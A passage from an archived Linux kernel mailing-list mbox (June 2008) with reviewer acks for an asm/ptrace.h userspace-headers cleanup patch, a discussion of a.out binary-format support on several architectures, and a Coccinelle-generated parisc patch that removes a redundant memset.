> +++ b/include/asm-x86/Kbuild
> @@ -19,7 +19,6 @@ unifdef-y += msr.h
>  unifdef-y += mtrr.h
>  unifdef-y += posix_types_32.h
>  unifdef-y += posix_types_64.h
> -unifdef-y += ptrace.h
>  unifdef-y += unistd_32.h
>  unifdef-y += unistd_64.h
>  unifdef-y += vm86.h
> diff --git a/include/asm-xtensa/ptrace.h b/include/asm-xtensa/ptrace.h
> index 422c73e..089b0db 100644
> --- a/include/asm-xtensa/ptrace.h
> +++ b/include/asm-xtensa/ptrace.h
> @@ -73,10 +73,10 @@
>  #define PTRACE_GETXTREGS	18
>  #define PTRACE_SETXTREGS	19
>  
> -#ifndef __ASSEMBLY__
> -
>  #ifdef __KERNEL__
>  
> +#ifndef __ASSEMBLY__
> +
>  /*
>   * This struct defines the way the registers are stored on the
>   * kernel stack during a system call or other kernel entry.
> @@ -122,14 +122,14 @@ extern void show_regs(struct pt_regs *);
>  # ifndef CONFIG_SMP
>  #  define profile_pc(regs) instruction_pointer(regs)
>  # endif
> -#endif /* __KERNEL__ */
>  
>  #else	/* __ASSEMBLY__ */
>  
> -#ifdef __KERNEL__
>  # include <asm/asm-offsets.h>
>  #define PT_REGS_OFFSET	  (KERNEL_STACK_SIZE - PT_USER_SIZE)
> -#endif
>  
>  #endif	/* !__ASSEMBLY__ */
> +
> +#endif  /* __KERNEL__ */
> +
>  #endif	/* _XTENSA_PTRACE_H */
> 
> 

-- 
------------------------------------------------------------------------
Greg Ungerer  --  Chief Software Dude       EMAIL:     gerg@snapgear.com
Secure Computing Corporation                PHONE:       +61 7 3435 2888
825 Stanley St,                             FAX:         +61 7 3891 3630
Woolloongabba, QLD, 4102, Australia         WEB: http://www.SnapGear.com
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [2.6 patch] asm/ptrace.h userspace headers cleanup
Date: Tue, 24 Jun 2008 13:08:44 +0900
Lines: 32
Approved: news@gmane.org
Message-ID: <20080624040844.GE22526@linux-sh.org>
References: <20080623174809.GE4756@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214280713 14126 80.91.229.12 (24 Jun 2008 04:11:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Jun 2008 04:11:53 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	rmk@arm.linux.org.uk, cooloney@kernel.org, dev-etrax@axis.com,
	dhowells@redhat.com, gerg@uclinux.org,
	yasutake.koichi@jp.panasonic.com, linux-parisc@vger.kernel.org,
	paulus@samba.org, linuxppc-dev@ozlabs.org,
	linux-sh@vger.kernel.org, chris@zankel.net,
	linux-mips@linux-mips.org, ysato@users.sourceforge.jp,
	Andrew Morton <akpm@linux-foundation.org>
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 24 06:12:35 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KAztT-0002Wh-6m
	for glpp-linux-parisc@gmane.org; Tue, 24 Jun 2008 06:12:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750708AbYFXELn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Jun 2008 00:11:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751127AbYFXELn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 24 Jun 2008 00:11:43 -0400
Original-Received: from mta23.gyao.ne.jp ([125.63.38.249]:42339 "EHLO mx.gate01.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1750708AbYFXELm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Jun 2008 00:11:42 -0400
Original-Received: from [124.34.33.190] (helo=master.linux-sh.org)
	by smtp31.isp.us-com.jp with esmtp (Mail 4.41)
	id 1KAzs5-0004TR-UH; Tue, 24 Jun 2008 13:11:09 +0900
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id D6CCC63754;
	Tue, 24 Jun 2008 04:08:44 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id sFzR7qUSbnqL; Tue, 24 Jun 2008 13:08:44 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id 6DE1563758; Tue, 24 Jun 2008 13:08:44 +0900 (JST)
Mail-Followup-To: Paul Mundt <lethal@linux-sh.org>,
	Adrian Bunk <bunk@kernel.org>, Roland McGrath <roland@redhat.com>,
	linux-kernel@vger.kernel.org, rmk@arm.linux.org.uk,
	cooloney@kernel.org, dev-etrax@axis.com, dhowells@redhat.com,
	gerg@uclinux.org, yasutake.koichi@jp.panasonic.com,
	linux-parisc@vger.kernel.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-sh@vger.kernel.org, chris@zankel.net,
	linux-mips@linux-mips.org, ysato@users.sourceforge.jp,
	Andrew Morton <akpm@linux-foundation.org>
Content-Disposition: inline
In-Reply-To: <20080623174809.GE4756@cs181140183.pp.htv.fi>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:446 gmane.linux.kernel:697333 gmane.linux.ports.ppc64.devel:42453 gmane.linux.ports.sh.devel:4053
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/446>

On Mon, Jun 23, 2008 at 08:48:09PM +0300, Adrian Bunk wrote:
> This patch contains the following cleanups for the asm/ptrace.h 
> userspace headers:
> - include/asm-generic/Kbuild.asm already lists ptrace.h, remove
>   the superfluous listings in the Kbuild files of the following
>   architectures:
>   - cris
>   - frv
>   - powerpc
>   - x86
> - don't expose function prototypes and macros to userspace:
>   - arm
>   - blackfin
>   - cris
>   - mn10300
>   - parisc
> - remove #ifdef CONFIG_'s around #define's:
>   - blackfin
>   - m68knommu
> - sh: AFAIK __SH5__ should work in both kernel and userspace,
>       no need to leak CONFIG_SUPERH64 to userspace

Yes, that's fine. We've generally avoided relying entirely on the gcc
builtin definitions due to the rampant stupidity surrounding
__SH4_NOFPU__, but it is true that __SH5__ is always defined at least.

Acked-by: Paul Mundt <lethal@linux-sh.org>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 24 Jun 2008 13:15:20 +0900
Lines: 39
Approved: news@gmane.org
Message-ID: <20080624041520.GF22526@linux-sh.org>
References: <1213565555.26255.522.camel@pmac.infradead.org> <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214281123 14912 80.91.229.12 (24 Jun 2008 04:18:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Jun 2008 04:18:43 +0000 (UTC)
Cc: David Woodhouse <dwmw2@infradead.org>,
	Peter Korsgaard <jacmet@sunsite.dk>,
	linux-kernel@vger.kernel.org, sam@ravnborg.org,
	dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 24 06:19:25 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KB005-0004Up-AH
	for glps-linuxsh-dev@gmane.org; Tue, 24 Jun 2008 06:19:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751463AbYFXESc (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 24 Jun 2008 00:18:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751339AbYFXESc
	(ORCPT <rfc822;linux-sh-outgoing>); Tue, 24 Jun 2008 00:18:32 -0400
Original-Received: from mta23.gyao.ne.jp ([125.63.38.249]:41184 "EHLO mx.gate01.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751127AbYFXESa (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Tue, 24 Jun 2008 00:18:30 -0400
Original-Received: from [124.34.33.190] (helo=master.linux-sh.org)
	by smtp31.isp.us-com.jp with esmtp (Mail 4.41)
	id 1KAzyT-0004xp-V3; Tue, 24 Jun 2008 13:17:46 +0900
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id C474363754;
	Tue, 24 Jun 2008 04:15:20 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id nvAoIOG6GxXc; Tue, 24 Jun 2008 13:15:20 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id 31EE763758; Tue, 24 Jun 2008 13:15:20 +0900 (JST)
Mail-Followup-To: Paul Mundt <lethal@linux-sh.org>,
	Adrian Bunk <bunk@kernel.org>,
	David Woodhouse <dwmw2@infradead.org>,
	Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <20080617084235.GA20169@cs181133002.pp.htv.fi>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4054 gmane.linux.kernel:697334 gmane.linux.ports.parisc:447
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/447>

On Tue, Jun 17, 2008 at 11:42:35AM +0300, Adrian Bunk wrote:
> On Mon, Jun 16, 2008 at 01:26:54PM +0100, David Woodhouse wrote:
> >...
> > Actually, I think we can drop the preceding patch too -- it's not
> > necessary to fix the regression in 2.6.26, and dhowells suggests that we
> > might still want to use ARCH_SUPPORTS_AOUT, by making BINFMT_AOUT depend
> > on it instead of that hard-coded list of architectures.
> > 
> > If we do that, then ARCH_SUPPORTS_AOUT would need to be defined on a
> > different set of architectures to the ones it's currently defined on --
> > so I don't really want to go there before 2.6.26. I'll push just the
> > parts which were included in the mail I just sent.
> > 
> > Why _are_ there architectures which define ARCH_SUPPORTS_AOUT and have
> > <asm/a.out.h> but don't support binfmt_aout, anyway? How does that make
> > sense?
> 
> My guess would be that binfmt_aout isn't actually used there.
> 
> The affected architectures are:
> - h8300
> - m32r
> - parisc
> - sh
> - v850
> 
> v850 is broken beyond repair, and I hope my patch to remove the 
> architecture will make it into 2.6.27.
> 
> For the other 4 architectures I have Cc'ed the architecture maintainers.
> 
There was never an a.out format for any of sh/h8300/m32r. It's likely
just perpetuated damage copied over from the other ports, as in the
parisc case.
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [2.6 patch] asm/ptrace.h userspace headers cleanup
Date: Mon, 23 Jun 2008 23:18:26 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <20080624051826.GC19434@colo.lackof.org>
References: <20080623174809.GE4756@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214284729 22548 80.91.229.12 (24 Jun 2008 05:18:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Jun 2008 05:18:49 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	rmk@arm.linux.org.uk, cooloney@kernel.org, dev-etrax@axis.com,
	dhowells@redhat.com, gerg@uclinux.org,
	yasutake.koichi@jp.panasonic.com, linux-parisc@vger.kernel.org,
	paulus@samba.org, linuxppc-dev@ozlabs.org,
	linux-sh@vger.kernel.org, chris@zankel.net,
	linux-mips@linux-mips.org, ysato@users.sourceforge.jp,
	Andrew Morton <akpm@linux-foundation.org>
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 24 07:19:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KB0wF-0007jg-4U
	for glpp-linux-parisc@gmane.org; Tue, 24 Jun 2008 07:19:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750979AbYFXFSj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Jun 2008 01:18:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751208AbYFXFSj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 24 Jun 2008 01:18:39 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:41554 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750979AbYFXFSh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Jun 2008 01:18:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 7EDF7300037;
	Mon, 23 Jun 2008 23:18:36 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19451-10; Mon, 23 Jun 2008 23:18:26 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1DFC4300035; Mon, 23 Jun 2008 23:18:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080623174809.GE4756@cs181140183.pp.htv.fi>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:448 gmane.linux.kernel:697343 gmane.linux.ports.ppc64.devel:42455 gmane.linux.ports.sh.devel:4055
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/448>

On Mon, Jun 23, 2008 at 08:48:09PM +0300, Adrian Bunk wrote:
> This patch contains the following cleanups for the asm/ptrace.h 
> userspace headers:
> - include/asm-generic/Kbuild.asm already lists ptrace.h, remove
>   the superfluous listings in the Kbuild files of the following
>   architectures:
>   - cris
>   - frv
>   - powerpc
>   - x86
> - don't expose function prototypes and macros to userspace:
>   - arm
>   - blackfin
>   - cris
>   - mn10300
>   - parisc
...
> diff --git a/include/asm-parisc/ptrace.h b/include/asm-parisc/ptrace.h
> index 93f990e..3e94c5d 100644
> --- a/include/asm-parisc/ptrace.h
> +++ b/include/asm-parisc/ptrace.h
> @@ -33,7 +33,6 @@ struct pt_regs {
>  	unsigned long ipsw;	/* CR22 */
>  };
>  
> -#define task_regs(task) ((struct pt_regs *) ((char *)(task) + TASK_REGS))
>  /*
>   * The numbers chosen here are somewhat arbitrary but absolutely MUST
>   * not overlap with any of the number assigned in <linux/ptrace.h>.
> @@ -43,8 +42,11 @@ struct pt_regs {
>   * since we have taken branch traps too)
>   */
>  #define PTRACE_SINGLEBLOCK	12	/* resume execution until next branch */
> +
>  #ifdef __KERNEL__
>  
> +#define task_regs(task) ((struct pt_regs *) ((char *)(task) + TASK_REGS))
> +
>  /* XXX should we use iaoq[1] or iaoq[0] ? */
>  #define user_mode(regs)			(((regs)->iaoq[0] & 3) ? 1 : 0)
>  #define user_space(regs)		(((regs)->iasq[1] != 0) ? 1 : 0)

Looks fine to me.
Acked-by: Grant Grundler <grundler@parisc-linux.org>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [2.6 patch] asm/ptrace.h userspace headers cleanup
Date: Tue, 24 Jun 2008 10:15:39 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20080624081539.GE5064@axis.com>
References: <20080623174809.GE4756@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214295488 19104 80.91.229.12 (24 Jun 2008 08:18:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Jun 2008 08:18:08 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"rmk@arm.linux.org.uk" <rmk@arm.linux.org.uk>,
	"cooloney@kernel.org" <cooloney@kernel.org>,
	dev-etrax <dev-etrax@axis.com>,
	"dhowells@redhat.com" <dhowells@redhat.com>,
	"gerg@uclinux.org" <gerg@uclinux.org>,
	"yasutake.koichi@jp.panasonic.com" <yasutake.koichi@jp.panasonic.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"paulus@samba.org" <paulus@samba.org>,
	"linuxppc-dev@ozlabs.org" <linuxppc-dev@ozlabs.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	"chris@zankel.net" <chris@zankel.net>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"ysato@users.sourceforge.jp" <ysato@users.sourceforge.jp>,
	Andrew Morton <akpm@linux-foundation.org>
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Jun 24 10:18:50 2008
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KB3jj-0004Qc-Gh
	for sgi-linux-mips@gmane.org; Tue, 24 Jun 2008 10:18:47 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:55981 "EHLO
	ftp.linux-mips.org") by ftp.linux-mips.org with ESMTP
	id S20022238AbYFXIRy (ORCPT <rfc822;sgi-linux-mips@gmane.org>);
	Tue, 24 Jun 2008 09:17:54 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 24 Jun 2008 09:17:37 +0100 (BST)
Original-Received: from miranda.se.axis.com ([193.13.178.8]:28294 "EHLO
	miranda.se.axis.com") by ftp.linux-mips.org with ESMTP
	id S20022455AbYFXIRa (ORCPT <rfc822;linux-mips@linux-mips.org>);
	Tue, 24 Jun 2008 09:17:30 +0100
Original-Received: from stork.se.axis.com (stork.se.axis.com [10.84.39.1])
	by miranda.se.axis.com (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id m5O8Fi0l000722;
	Tue, 24 Jun 2008 10:15:44 +0200
Original-Received: (from jespern@localhost)
	by stork.se.axis.com (8.13.8/8.13.8/Submit) id m5O8Fd67026514;
	Tue, 24 Jun 2008 10:15:39 +0200
Content-Disposition: inline
In-Reply-To: <20080623174809.GE4756@cs181140183.pp.htv.fi>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-archive-position: 19607
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jesper.nilsson@axis.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:20646 gmane.linux.kernel:697417 gmane.linux.ports.parisc:449 gmane.linux.ports.ppc64.devel:42458 gmane.linux.ports.sh.devel:4058
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/449>

Hi,

On Mon, Jun 23, 2008 at 07:48:09PM +0200, Adrian Bunk wrote:
> This patch contains the following cleanups for the asm/ptrace.h
> userspace headers:
> - include/asm-generic/Kbuild.asm already lists ptrace.h, remove
>   the superfluous listings in the Kbuild files of the following
>   architectures:
>   - cris
>   - frv
>   - powerpc
>   - x86
> - don't expose function prototypes and macros to userspace:
>   - arm
>   - blackfin
>   - cris
>   - mn10300
>   - parisc
> - remove #ifdef CONFIG_'s around #define's:
>   - blackfin
>   - m68knommu
> - sh: AFAIK __SH5__ should work in both kernel and userspace,
>       no need to leak CONFIG_SUPERH64 to userspace
> - xtensa: cosmetical change to remove empty
>             #ifndef __ASSEMBLY__ #else #endif
>           from the userspace headers
> 
> Signed-off-by: Adrian Bunk <bunk@kernel.org>

The CRIS parts look ok.

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com



From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julia Lawall <julia@diku.dk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: [PATCH 6/14] arch/parisc: Eliminate NULL test and memset after
 alloc_bootmem
Date: Tue, 24 Jun 2008 10:23:28 +0200 (CEST)
Lines: 55
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0806241023080.26777@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1214295846 20259 80.91.229.12 (24 Jun 2008 08:24:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Jun 2008 08:24:06 +0000 (UTC)
To: akinobu.mita@gmail.com, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 24 10:24:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KB3pR-0006Xw-Lq
	for glpp-linux-parisc@gmane.org; Tue, 24 Jun 2008 10:24:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752489AbYFXIXh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Jun 2008 04:23:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756114AbYFXIXg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 24 Jun 2008 04:23:36 -0400
Original-Received: from mgw1.diku.dk ([130.225.96.91]:50060 "EHLO mgw1.diku.dk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753972AbYFXIXa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Jun 2008 04:23:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by mgw1.diku.dk (Postfix) with ESMTP id DA57552C366;
	Tue, 24 Jun 2008 10:23:29 +0200 (CEST)
X-Virus-Scanned: amavisd-new at diku.dk
Original-Received: from mgw1.diku.dk ([127.0.0.1])
	by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Oks+07HisMHJ; Tue, 24 Jun 2008 10:23:28 +0200 (CEST)
Original-Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140])
	by mgw1.diku.dk (Postfix) with ESMTP id 8A0CB52C33E;
	Tue, 24 Jun 2008 10:23:28 +0200 (CEST)
Original-Received: from ask.diku.dk (ask.diku.dk [130.225.96.225])
	by nhugin.diku.dk (Postfix) with ESMTP
	id 657886DFAB2; Tue, 24 Jun 2008 10:22:19 +0200 (CEST)
Original-Received: by ask.diku.dk (Postfix, from userid 3767)
	id 71C134F9F46; Tue, 24 Jun 2008 10:23:28 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by ask.diku.dk (Postfix) with ESMTP id 7099B4F9F1D;
	Tue, 24 Jun 2008 10:23:28 +0200 (CEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:450 gmane.linux.kernel:697423 gmane.linux.kernel.janitors:15424
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/450>

From: Julia Lawall <julia@diku.dk>

As noted by Akinobu Mita in patch b1fceac2b9e04d278316b2faddf276015fc06e3b,
alloc_bootmem and related functions never return NULL and always return a
zeroed region of memory.  Thus a NULL test or memset after calls to these
functions is unnecessary.

 arch/parisc/mm/init.c |    1 -
 1 file changed, 1 deletion(-)

This was fixed using the following semantic patch.
(http://www.emn.fr/x-info/coccinelle/)

// <smpl>
@@
expression E;
statement S;
@@

E = \(alloc_bootmem\|alloc_bootmem_low\|alloc_bootmem_pages\|alloc_bootmem_low_pages\)(...)
... when != E
(
- BUG_ON (E == NULL);
|
- if (E == NULL) S
)

@@
expression E,E1;
@@

E = \(alloc_bootmem\|alloc_bootmem_low\|alloc_bootmem_pages\|alloc_bootmem_low_pages\)(...)
... when != E
- memset(E,0,E1);
// </smpl>

Signed-off-by: Julia Lawall <julia@diku.dk>
---

diff -u -p a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -765,7 +765,6 @@ static void __init pagetable_init(void)
 #endif
 
 	empty_zero_page = alloc_bootmem_pages(PAGE_SIZE);
-	memset(empty_zero_page, 0, PAGE_SIZE);
 }
 
 static void __init gateway_init(void)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Zankel <chris@zankel.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [2.6 patch] asm/ptrace.h userspace headers cleanup
Date: Tue, 24 Jun 2008 01:25:36 -0700
Lines: 18
Approved: news@gmane.org
